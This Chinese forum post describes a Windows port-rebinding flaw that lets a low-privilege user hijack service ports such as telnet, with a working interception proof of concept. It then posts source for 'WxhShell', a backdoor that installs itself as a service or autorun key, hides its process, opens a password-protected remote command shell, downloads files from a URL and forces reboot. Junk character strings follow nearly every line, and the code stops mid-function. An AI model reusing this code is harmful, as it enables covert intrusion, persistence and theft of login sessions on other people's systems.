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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M7g6m  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U%E364;F  
SK G!DKQ  
  saddr.sin_family = AF_INET; %Y*]eLT>  
qD<\U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wj#A#[e  
S[5e,E w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o!>h Q#h  
^ woCwW8n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tunjV1 ,]  
Z@{e\sZ)  
  这意味着什么?意味着可以进行如下的攻击: P\2UIAPa\b  
IIIP<nyc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =E10j.r  
{m7>9{`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "`&1"*  
9s@$P7N5B  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .sR=Mf7T  
6y+}=)J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  EQ> ]~  
eY#_!{*Wn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X6<%SJC  
*wD| e K7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xY94v  
OX[pK_:`l  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $~FnBD%|{  
}hyl)?*~  
  #include pGdo:L?  
  #include vo JmNH  
  #include mx;1'!'fr  
  #include    7\nR'MOZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Tq*K =^  
  int main() o"-*,:Qe  
  { C3>`e3v  
  WORD wVersionRequested; -N~eb^3[c  
  DWORD ret; 3C7}V{?  
  WSADATA wsaData; J2d 3&6  
  BOOL val; T.x"a$AU  
  SOCKADDR_IN saddr; mKN#dmw6  
  SOCKADDR_IN scaddr; N!iugGL  
  int err; 4%9 +="  
  SOCKET s; 1DT}_0{0Q  
  SOCKET sc; 7r,h[9~e  
  int caddsize; o1?bqVF;6  
  HANDLE mt; 99tKs  
  DWORD tid;   9qXKHro  
  wVersionRequested = MAKEWORD( 2, 2 ); }Z Nyd  
  err = WSAStartup( wVersionRequested, &wsaData ); bIP%xl Vp  
  if ( err != 0 ) { $++SF)G1]_  
  printf("error!WSAStartup failed!\n"); C|hD^m  
  return -1; D3xyJ  
  } Q@w=Jt<  
  saddr.sin_family = AF_INET; Tj v)jD  
   E\lel4ai  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 b]cnTR2E  
Z/~7N9?m(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); # )]L3H<  
  saddr.sin_port = htons(23); yON";|*\m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T>qI,BEY  
  { }G53"  
  printf("error!socket failed!\n"); B9i< ="=p  
  return -1; ,ctm;T1H+  
  } {RPZq2Tpc  
  val = TRUE; !aQQq[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X8Y)5,`s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ! uX0G4  
  { uk=f /nT  
  printf("error!setsockopt failed!\n"); \6WVs>z  
  return -1; g r[M-U  
  } O/1:2G/`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I5mtr  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W&`{3L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m(o^9R_=^9  
NGq@x%T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lz >>{  
  { )E>nr Z  
  ret=GetLastError(); <yxy ;o  
  printf("error!bind failed!\n"); K 0Gm ?(  
  return -1; 6Ud6F t6  
  } {$fd?| 9h  
  listen(s,2); l`k""f69W  
  while(1) pas^FT~  
  { gof'NT\c  
  caddsize = sizeof(scaddr); %&Q9WMo  
  //接受连接请求 U+2U#v=<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); tTcff9ee  
  if(sc!=INVALID_SOCKET) ILyI%DA&  
  { q-|j =  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =s5g9n+7  
  if(mt==NULL) Z0#&D&2sV  
  { tS:/:0HnA)  
  printf("Thread Creat Failed!\n"); q\]"}M 8  
  break;  'VzYf^  
  } fs,]%g^  
  } jWjp0ii  
  CloseHandle(mt); ])tUXU>  
  } #WqpU.  
  closesocket(s); )p!.V( ,  
  WSACleanup(); _CImf1  
  return 0; N3$%!\~O  
  }   N.D7  
  DWORD WINAPI ClientThread(LPVOID lpParam) DqN<bu2  
  { VAnP3:  
  SOCKET ss = (SOCKET)lpParam; U6x$R O!  
  SOCKET sc; U"L 7G$  
  unsigned char buf[4096]; XT` 2Z=  
  SOCKADDR_IN saddr; EV.F/W h  
  long num; PL|zm5923  
  DWORD val; 3)0z(30  
  DWORD ret; 2m{d>  
  //如果是隐藏端口应用的话,可以在此处加一些判断  hSgH;k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   YU,fx<c  
  saddr.sin_family = AF_INET; `)WC|=w2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); GJTakhj3  
  saddr.sin_port = htons(23); >i!y[F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?mn&b G  
  { L"Dos +  
  printf("error!socket failed!\n"); Xc8 XgZk  
  return -1; o*sss  
  } =)YDjd_=z  
  val = 100; ?A]/ M~3B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'PWX19  
  { AkAQ%)6qV  
  ret = GetLastError(); KD^n7+w%  
  return -1; UZRN4tru6  
  } DI0Wk^m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -Dy":/Bk  
  { +F]=Z  
  ret = GetLastError(); >qS2ha  
  return -1; Plj>+XRO  
  } )<(3 .M  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }Uue}VOA  
  { J;*2[o.N  
  printf("error!socket connect failed!\n"); Mb:>  
  closesocket(sc); YkF52_^_  
  closesocket(ss); sv)4e)1  
  return -1; vlC$0P  
  } I3;03X<2  
  while(1) LbUH`0:%t  
  { p`)Mk<`dYD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C 8KV<k  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  {HbSty  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 aIo%~w  
  num = recv(ss,buf,4096,0); +FH@|~^O  
  if(num>0) Jp"[` m  
  send(sc,buf,num,0); Vy7 )_D  
  else if(num==0) 45Lzq6  
  break; ]ONBr(M\  
  num = recv(sc,buf,4096,0); F60?%gg  
  if(num>0) nSp OTQ  
  send(ss,buf,num,0); V;d<S@$  
  else if(num==0) U8OVn(qV  
  break; $CDRIn50  
  } nhy:5eSK  
  closesocket(ss); #H;1)G(/  
  closesocket(sc); m+QZ|  
  return 0 ; cJ#n<Rsz  
  } *r)dtI*  
I{i6e'.jP  
}poLH S/  
========================================================== 1vinO!  
GG %*d]  
下边附上一个代码,,WXhSHELL ^G14Z5.  
<9]J/w+  
========================================================== eCjyx|:J  
[&sabM`Ul  
#include "stdafx.h" Ys]cJ]  
-_BX\iP{  
#include <stdio.h> cq~~a(IS  
#include <string.h> 2oo\SmO]  
#include <windows.h> %gu|  
#include <winsock2.h> C:.>*;?7  
#include <winsvc.h> ?{%"v\w  
#include <urlmon.h> 'HJ<"<  
0IyT(1hS  
#pragma comment (lib, "Ws2_32.lib") 3QCCX$,  
#pragma comment (lib, "urlmon.lib") qOflvf  
0[p"8+x  
#define MAX_USER   100 // 最大客户端连接数 N<XMSt  
#define BUF_SOCK   200 // sock buffer Uf9L*Z'6il  
#define KEY_BUFF   255 // 输入 buffer '.]<lh!  
LKgo(&mY  
#define REBOOT     0   // 重启 <6&Z5mpm$w  
#define SHUTDOWN   1   // 关机 q;.LK8M  
45H9pY w  
#define DEF_PORT   5000 // 监听端口 Y/T-2)D  
@<koL  
#define REG_LEN     16   // 注册表键长度 hE7rnn{  
#define SVC_LEN     80   // NT服务名长度 S^iT &;,  
yCwe:58  
// 从dll定义API b+$E*}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jB,VlL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _k#!^AJ}x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K"zRj L+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jS)YYk5  
U+[h^M$U  
// wxhshell配置信息 j>G|Xv  
struct WSCFG { 5| Oj\L{  
  int ws_port;         // 监听端口 f^lhdZ\  
  char ws_passstr[REG_LEN]; // 口令 q+ `QiPj  
  int ws_autoins;       // 安装标记, 1=yes 0=no qW S"I+o,S  
  char ws_regname[REG_LEN]; // 注册表键名 : . PRM+  
  char ws_svcname[REG_LEN]; // 服务名 [WI'oy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EUW>8kw0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~-UO^$M-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9\uBX.]x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [#%@,C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u/ri {neP{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?kS#g  
+&G]\WX<  
}; X6=o vm  
LTuT"}dT[  
// default Wxhshell configuration c4.2o<(Xt  
struct WSCFG wscfg={DEF_PORT, {s{+MbD  
    "xuhuanlingzhe", vy-q<6T}:p  
    1, sl:1P^b  
    "Wxhshell", K^P&3H*(/n  
    "Wxhshell", VAA="yN  
            "WxhShell Service", <fHN^O0TS  
    "Wrsky Windows CmdShell Service", LtPaTe  
    "Please Input Your Password: ", #e1iYFgS  
  1, yq[. WPve  
  "http://www.wrsky.com/wxhshell.exe", lYmxd8  
  "Wxhshell.exe" c]"w0a-`^@  
    }; j /@<=  
(gIFuOGi>  
// 消息定义模块 ;*hVAxs1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jhJ<JDJ?`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -/Zy{2 <u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O;|jLf_If  
char *msg_ws_ext="\n\rExit."; a:;7'w'  
char *msg_ws_end="\n\rQuit."; 'K\H$<CJ  
char *msg_ws_boot="\n\rReboot..."; g_rk_4]  
char *msg_ws_poff="\n\rShutdown..."; Eqi;m,)  
char *msg_ws_down="\n\rSave to "; pG22Nx  
JvNd'u)Z<  
char *msg_ws_err="\n\rErr!"; 3p]\l ]=  
char *msg_ws_ok="\n\rOK!"; /qFY $vj  
p)VMYu  
char ExeFile[MAX_PATH]; E{}J-_oS45  
int nUser = 0; #CcEI  
HANDLE handles[MAX_USER]; r;p@T8k  
int OsIsNt; o#WECs>  
(M<l}pl)  
SERVICE_STATUS       serviceStatus; gf}*}8D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;@ G^eQ  
egH,7f(yP  
// 函数声明 Y#+Ws0wN  
int Install(void); S(/ ^_Y  
int Uninstall(void); y}?PyPz  
int DownloadFile(char *sURL, SOCKET wsh); [("2=Uz;  
int Boot(int flag); .m.Ga|;  
void HideProc(void); O8Z+g{  
int GetOsVer(void); Ai)>ot  
int Wxhshell(SOCKET wsl); H?,Dv>.#*  
void TalkWithClient(void *cs); Z?'?|vM  
int CmdShell(SOCKET sock); ,/kZt!  
int StartFromService(void); g~U<0+&yw%  
int StartWxhshell(LPSTR lpCmdLine); Nw(hN+_u  
Qg0%r bE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (" +clb`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =uEpeL~d;+  
2vhP'?;K  
// 数据结构和表定义 HD3WsIim*  
SERVICE_TABLE_ENTRY DispatchTable[] = ?H>^X)Ph  
{ H[}lzL)  
{wscfg.ws_svcname, NTServiceMain}, ouO9%)zv  
{NULL, NULL} y:_>R=sw  
}; d c/^  
RJKi98xwJ  
// 自我安装 rITA-W O  
int Install(void) /qMiv7m~Q  
{ =yoR>llbBC  
  char svExeFile[MAX_PATH]; a8-V`  
  HKEY key; /F46Ac}I  
  strcpy(svExeFile,ExeFile); <H{K&,Z(ZM  
lnK  
// 如果是win9x系统,修改注册表设为自启动 A%x0'?GU  
if(!OsIsNt) { FHEP/T\5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3177R>0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mwsdl^c  
  RegCloseKey(key); apt$e$g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :X:s'I4J D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bsha)<  
  RegCloseKey(key); @/:7G.  
  return 0; /t! 5||G  
    } /^v!B`A @  
  } unKl5A[h  
} !\'H{,G  
else { %3AE2"  
pvb&vtp  
// 如果是NT以上系统,安装为系统服务 l<+PA$+}}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?\(qA+iP0  
if (schSCManager!=0) ,k*%=TF7N  
{ IP@3R(DS%  
  SC_HANDLE schService = CreateService ijvDFyN>  
  ( bC98<if  
  schSCManager, =qpGAv_#  
  wscfg.ws_svcname, k+*pg4 '  
  wscfg.ws_svcdisp, |QMmF"0  
  SERVICE_ALL_ACCESS, 6 EfBz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :RxMZwa=  
  SERVICE_AUTO_START, s:_a.4&Y  
  SERVICE_ERROR_NORMAL, g$zGiqzMK  
  svExeFile, '.<c[Mp  
  NULL, cd=|P?B i  
  NULL, g'{?j~g  
  NULL, fD3'Ye<R  
  NULL, ^,F G 9  
  NULL z]-m<#1  
  ); &328pOT4  
  if (schService!=0) w w[|| =  
  { BkPt 1i  
  CloseServiceHandle(schService); TU58  
  CloseServiceHandle(schSCManager); gK@`0/k{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !3\$XK]5ZT  
  strcat(svExeFile,wscfg.ws_svcname); ;yyR_N S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +\;Ro18?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W7gY$\1<&  
  RegCloseKey(key); {QaO\{J=  
  return 0; 4; 0#Z^p  
    } !]E ]Xd<  
  } _}ii1fLv  
  CloseServiceHandle(schSCManager); H9i7y,[*  
} iSR"$H{  
} VBS}2>p  
"A&A?%  
return 1; "'@D\e}  
} 7Z~JuTIZ  
 "\T-r2  
// 自我卸载 RgJbM\`} ?  
int Uninstall(void) q5JQx**g  
{ z^jmf_  
  HKEY key; Q672iR\#)  
RAk"C!&^m  
if(!OsIsNt) { H V-;? 5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VzIZT{  
  RegDeleteValue(key,wscfg.ws_regname); HY1K(T  
  RegCloseKey(key); 8x LXXB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x}Lj|U$r<X  
  RegDeleteValue(key,wscfg.ws_regname); < W`gfpzO  
  RegCloseKey(key); ]z8/S!?  
  return 0; Yw]$/oP`  
  } 6R^32VeK($  
} nw,.I [  
} jDTG15_=  
else { R4R\B  
<|.]$QSi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EJMd[hMhe  
if (schSCManager!=0) r<Z.J/a  
{ Eb@**%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); esE!i0%  
  if (schService!=0) <[-{:dH,5  
  { I)vR  
  if(DeleteService(schService)!=0) { Z 4i5,f  
  CloseServiceHandle(schService); Ha/Qz'^S;  
  CloseServiceHandle(schSCManager); =Ul"{T<  
  return 0;  S.B?l_d^  
  } [Gv8Fn/aG  
  CloseServiceHandle(schService); !g6=/9  
  } lY(_e#  
  CloseServiceHandle(schSCManager); >ov#\  
} R@s|bs?  
} n7G`b'  
s$qc &  
return 1; =+Odu  
} oNw=O>v  
A+foc5B  
// 从指定url下载文件 +boL?Ix+  
int DownloadFile(char *sURL, SOCKET wsh) nxBP@Td  
{ [tJn! cMs  
  HRESULT hr; ?u?mSO/  
char seps[]= "/"; iAk.pH]a  
char *token; B(vCi^  
char *file; Z<^EZX3N  
char myURL[MAX_PATH]; [7~AWZU3  
char myFILE[MAX_PATH]; J$5 G8<d>  
?Js4 \X!uJ  
strcpy(myURL,sURL); gq 3|vzNZ  
  token=strtok(myURL,seps); B8"c+<b  
  while(token!=NULL) @#hvQ6u  
  { (ER9.k2  
    file=token; FXn98UFY  
  token=strtok(NULL,seps); "4Q_F3?_`  
  } UcD<vg"p  
^BRqsVw9  
GetCurrentDirectory(MAX_PATH,myFILE); mD ZA\P_  
strcat(myFILE, "\\"); WQ8 "Jj?k6  
strcat(myFILE, file); @x}^2FE  
  send(wsh,myFILE,strlen(myFILE),0); G~bDl:k`A  
send(wsh,"...",3,0); O CIoY?a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yocFdI  
  if(hr==S_OK) 4e eh+T  
return 0; RXcN<Y&  
else !G[%; d  
return 1; \,X)!%6kZ  
!9YCuHj!p  
} m a@V>*u  
#qF 1z}L(  
// 系统电源模块 =Hn--DEMg  
int Boot(int flag) /3^XJb$Sa  
{ iymN|KdpaZ  
  HANDLE hToken; :aaX Y:<  
  TOKEN_PRIVILEGES tkp; |4 \2,M#  
1 hFh F^  
  if(OsIsNt) { |ka/5o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1W\wIj.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^VG].6  
    tkp.PrivilegeCount = 1; 1P1h);*Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EmrkaV-?k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LL (TD&  
if(flag==REBOOT) { W^xO/xu1 /  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vk X+{n  
  return 0; &g5PPQ18  
} ! }e75=x  
else { 9_jiUZFje  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NziCN*6  
  return 0; 3imsIBr  
} X<Cf y  
  } JrLh=0i9  
  else { S2E z}*plp  
if(flag==REBOOT) { v{ohrpb0v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @~|;/OY>"  
  return 0; \<`oW>  
} : 7"Q  
else { PMbZv%.,-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [:gg3Qzx  
  return 0; >lQa"F=  
} =. \hCgq  
} ercXw7{  
S ;rd0+J  
return 1; BLaNS4e  
} Z:N;>.3i  
b=2:\F  
// win9x进程隐藏模块 hbvcIGaT  
void HideProc(void) %]0?vw:;j  
{ =$gBWS  
M@h"FuX:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B'(zhjV  
  if ( hKernel != NULL ) p o)lN[v  
  { T!y 9v5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V-go?b`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _L~ 3h  
    FreeLibrary(hKernel); e CN:  
  } m^qFaf)6  
Y ?n4#J<  
return; hR7uAk_?  
} {'M/wT)FeC  
gU|:Y&lFZg  
// 获取操作系统版本 /"k[T  
int GetOsVer(void) =0EKrG  
{ LkzA_|8:D  
  OSVERSIONINFO winfo; I)` +:+P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w8Z#]kRv  
  GetVersionEx(&winfo); 4Ps;Cor+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;K8}Yq9p9  
  return 1; 57;0,k5Gy  
  else q|]CA  
  return 0; ^1F zs(#.  
} `Rt w'Uz  
WUz69o be  
// 客户端句柄模块 ;4b=/1M'  
int Wxhshell(SOCKET wsl) [efU)O&  
{ %au>D  
  SOCKET wsh; 08^f|K  
  struct sockaddr_in client; +3zQ"lLD^  
  DWORD myID; Myg;2.  
|?^qs nB  
  while(nUser<MAX_USER) PH8 88O  
{ z)^.ai,:0  
  int nSize=sizeof(client); kBC$dW-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ai?J  
  if(wsh==INVALID_SOCKET) return 1; Tb2#y]27  
ZLKbF9lo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m5N,[^-  
if(handles[nUser]==0)  C&qo$C  
  closesocket(wsh); V 1d#7rP  
else Q~wS2f`)  
  nUser++; iVeH\a  
  } R|)l^~x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H"w;~;h  
J?Y,3cc.  
  return 0; Wm"#"l4  
} _qf~ hhi  
=d"5k DK-m  
// 关闭 socket L58H)V3Pn  
void CloseIt(SOCKET wsh) aiz ws[C  
{ [75?cQD  
closesocket(wsh); zTMLE~w  
nUser--; }8}`A\ dgV  
ExitThread(0); d42Y `Wu  
} I*>q7Hsu  
@ls/3`E/5E  
// 客户端请求句柄 OYWHiXE6]  
void TalkWithClient(void *cs) Y$,~"$su|  
{ f &NX~(  
5o4KV?"  
  SOCKET wsh=(SOCKET)cs; Zi]E!Tgn  
  char pwd[SVC_LEN]; (m Yi  
  char cmd[KEY_BUFF]; R%2.N!8v  
char chr[1]; )n9,?F#l  
int i,j; b5%<},ySq  
G{X7;j e  
  while (nUser < MAX_USER) { -:r<sv$  
E+<GsN]  
if(wscfg.ws_passstr) { ;m.6 ~A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +C7W2!I[G2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7p!f+\kM  
  //ZeroMemory(pwd,KEY_BUFF); m0.g}N-w  
      i=0; lZIJ[.  
  while(i<SVC_LEN) { iE;F=Rb  
3jW&S  
  // 设置超时 [P~7kNFOh  
  fd_set FdRead; |XQ_4{  
  struct timeval TimeOut; \BfMCA/  
  FD_ZERO(&FdRead); g<^A(zM  
  FD_SET(wsh,&FdRead); wmR~e  
  TimeOut.tv_sec=8; NB^Al/V@  
  TimeOut.tv_usec=0; 2PeMt^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4|Y1W}!0/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =tA;JB  
8[AU`F8W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %52x:qGa  
  pwd=chr[0]; UYy #DA  
  if(chr[0]==0xd || chr[0]==0xa) { rqBoUS4  
  pwd=0; :nl,A c  
  break; GZx*A S]+  
  } g__s(  IJ  
  i++; ~W4SFp  
    } yEh{9S%6p  
%B1TN#KoT  
  // 如果是非法用户,关闭 socket bV'r9&[_6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5f0g7w =-  
} Vep 41\g^  
vQ2{ +5!|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iY,oaC~?"N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &KI|qtQ;  
WL,2<[)Ew  
while(1) { o F_r C[  
D ZZRu8~  
  ZeroMemory(cmd,KEY_BUFF); #^aa&*<D_  
sc# EL~  
      // 自动支持客户端 telnet标准   !z2xm3s{]p  
  j=0; .tHc*Eh  
  while(j<KEY_BUFF) { _):@C:6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GCw4sb4~w  
  cmd[j]=chr[0]; 0SIUp/.  
  if(chr[0]==0xa || chr[0]==0xd) { {<}Hut:a  
  cmd[j]=0; \WdSj  
  break; x\:KfYr4Y;  
  } br k*;  
  j++; ~d\V>  
    } 1BEc"  
:w|=o9J  
  // 下载文件 Ets6tM`  
  if(strstr(cmd,"http://")) { g6.I~o Q j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;:R2 P@6f  
  if(DownloadFile(cmd,wsh)) CZ$B2i6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /yx)_x{  
  else &e*@:5Z:k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hdd3n 6*  
  } 4 eSFpy1  
  else { _.]mES|  
pAA)?/&oKV  
    switch(cmd[0]) { ]WcN6|b+  
  w0H#M)c  
  // 帮助 :1bDkoK  
  case '?': { (@^ySiU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {;u+?uY  
    break; (w(k*b/  
  } AkO);4A;Jd  
  // 安装 :Zob"*T  
  case 'i': { 6<5:m:KE  
    if(Install()) ln , 9v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X+,0;% p  
    else v&]y zl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,BGUIu6  
    break; PVljb=8F  
    } tW-[.Y -M,  
  // 卸载 w"QZ7EyJ  
  case 'r': { 4qsxlN>4O  
    if(Uninstall()) 0u( 0*Xl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *0V'rH)  
    else Y2dml!QM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  <|82)hO  
    break; ,jw`9a  
    } *O[/- p&7  
  // 显示 wxhshell 所在路径 @8A[HP  
  case 'p': { }'>mT,ytgk  
    char svExeFile[MAX_PATH]; *W,[k&;:  
    strcpy(svExeFile,"\n\r"); Hmx.BBz  
      strcat(svExeFile,ExeFile); I=P<RG7j)  
        send(wsh,svExeFile,strlen(svExeFile),0); &u6n5-!v  
    break; =i;T?*@  
    } OpIeo+^X*  
  // 重启 w2('75$J  
  case 'b': { UH\{:@GjNO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VUHf-bKl  
    if(Boot(REBOOT)) B J I N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7#9%,6Yi  
    else { $T7 qd  
    closesocket(wsh); Nvh& =%{g  
    ExitThread(0); 15' fU!  
    } 9!Xp+<  
    break; >*!^pbZfX  
    } mU]^PC2[  
  // 关机 }ALli0n`V)  
  case 'd': { =i Dd{$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cc}#-HKR[  
    if(Boot(SHUTDOWN)) 9zCuVUcd$.  
